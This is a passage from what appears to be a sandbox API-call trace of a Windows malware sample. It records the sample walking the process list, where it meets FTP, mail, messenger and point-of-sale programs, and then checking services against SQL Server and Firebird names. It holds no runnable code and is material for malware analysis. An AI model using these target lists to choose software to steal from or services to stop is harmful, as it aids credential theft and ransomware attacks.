dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0057.163] lstrlenW (lpString="patient.exe") returned 11 [0057.163] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0057.165] lstrlenW (lpString="corps.exe") returned 9 [0057.165] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0057.167] lstrlenW (lpString="inquire.exe") returned 11 [0057.167] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0057.168] lstrlenW (lpString="3dftp.exe") returned 9 [0057.168] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0057.171] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0057.171] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0057.173] lstrlenW (lpString="alftp.exe") returned 9 [0057.173] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0057.197] lstrlenW (lpString="barca.exe") returned 9 [0057.198] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0057.199] lstrlenW (lpString="bitkinex.exe") returned 12 [0057.199] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0057.201] lstrlenW (lpString="coreftp.exe") returned 11 [0057.201] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0057.203] lstrlenW (lpString="far.exe") returned 7 [0057.203] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0057.204] lstrlenW (lpString="filezilla.exe") returned 13 [0057.204] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0057.206] lstrlenW (lpString="flashfxp.exe") returned 12 [0057.206] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0057.207] lstrlenW (lpString="fling.exe") returned 9 [0057.207] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0057.209] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0057.209] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0057.212] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0057.212] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0057.215] lstrlenW (lpString="icq.exe") returned 7 [0057.215] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0057.217] lstrlenW (lpString="leechftp.exe") returned 12 [0057.217] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0057.220] lstrlenW (lpString="ncftp.exe") returned 9 [0057.220] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0057.222] lstrlenW (lpString="notepad.exe") returned 11 [0057.222] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0057.225] lstrlenW (lpString="operamail.exe") returned 13 [0057.225] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0057.228] lstrlenW (lpString="pidgin.exe") returned 10 [0057.228] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0057.230] lstrlenW (lpString="scriptftp.exe") returned 13 [0057.230] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0057.233] lstrlenW (lpString="skype.exe") returned 9 [0057.233] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0057.235] lstrlenW (lpString="smartftp.exe") returned 12 [0057.235] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0057.267] lstrlenW (lpString="thunderbird.exe") returned 15 [0057.268] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0057.271] lstrlenW (lpString="totalcmd.exe") returned 12 [0057.271] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0057.273] lstrlenW (lpString="trillian.exe") returned 12 [0057.273] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0057.275] lstrlenW (lpString="webdrive.exe") returned 12 [0057.275] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0057.277] lstrlenW (lpString="whatsapp.exe") returned 12 [0057.278] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0057.280] lstrlenW (lpString="winscp.exe") returned 10 [0057.280] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0057.282] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0057.282] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0057.284] lstrlenW (lpString="active-charge.exe") returned 17 [0057.284] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0057.287] lstrlenW (lpString="accupos.exe") returned 11 [0057.287] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0057.290] lstrlenW (lpString="afr38.exe") returned 9 [0057.290] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0057.292] lstrlenW (lpString="aldelo.exe") returned 10 [0057.292] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0057.294] lstrlenW (lpString="ccv_server.exe") returned 14 [0057.294] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0057.296] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0057.296] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0057.298] lstrlenW (lpString="creditservice.exe") returned 17 [0057.298] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0057.300] lstrlenW (lpString="edcsvr.exe") returned 10 [0057.300] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0057.320] lstrlenW (lpString="fpos.exe") returned 8 [0057.531] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0057.533] lstrlenW (lpString="isspos.exe") returned 10 [0057.533] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0057.536] lstrlenW (lpString="mxslipstream.exe") returned 16 [0057.536] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0057.538] lstrlenW (lpString="omnipos.exe") returned 11 [0057.538] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0057.540] lstrlenW (lpString="spcwin.exe") returned 10 [0057.540] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0057.542] lstrlenW (lpString="spgagentservice.exe") returned 19 [0057.542] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0057.544] lstrlenW (lpString="utg2.exe") returned 8 [0057.544] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0057.546] lstrlenW (lpString="amsterdam.exe") returned 13 [0057.546] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0057.548] lstrlenW (lpString="targetannounce.exe") returned 18 [0057.548] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0057.549] lstrlenW (lpString="managed-davis.exe") returned 17 [0057.550] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0057.552] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0057.552] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0057.553] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0057.553] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.556] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.556] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.557] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.558] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.559] lstrlenW (lpString="dllhost.exe") returned 11 [0057.560] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0057.561] lstrlenW (lpString="dllhost.exe") returned 11 [0057.561] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0057.563] lstrlenW (lpString="winhost.exe") returned 11 [0057.563] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.564] lstrlenW (lpString="cmd.exe") returned 7 [0057.565] Process32NextW (in: hSnapshot=0x110, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0057.566] CloseHandle (hObject=0x110) returned 1 [0057.566] Sleep (dwMilliseconds=0x1f4) [0058.993] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514780 [0058.998] EnumServicesStatusExW (in: hSCManager=0x514780, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0059.001] GetLastError () returned 0xea [0059.001] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x518ef8 [0059.002] EnumServicesStatusExW (in: hSCManager=0x514780, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x518ef8, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x518ef8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0059.006] CloseServiceHandle (hSCObject=0x514780) returned 1 [0059.006] lstrlenW (lpString="Appinfo") returned 7 [0059.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.007] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.007] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.007] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.007] lstrlenW (lpString="AudioSrv") returned 8 [0059.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.008] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.008] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.008] lstrlenW (lpString="BFE") returned 3 [0059.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.008] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.008] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.008] lstrlenW (lpString="CryptSvc") returned 8 [0059.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.008] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.008] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.008] lstrlenW (lpString="CscService") returned 10 [0059.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.009] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.009] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.009] lstrlenW (lpString="DcomLaunch") returned 10 [0059.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.009] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.009] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.009] lstrlenW (lpString="Dhcp") returned 4 [0059.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.010] lstrlenW (lpString="Dnscache") returned 8 [0059.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 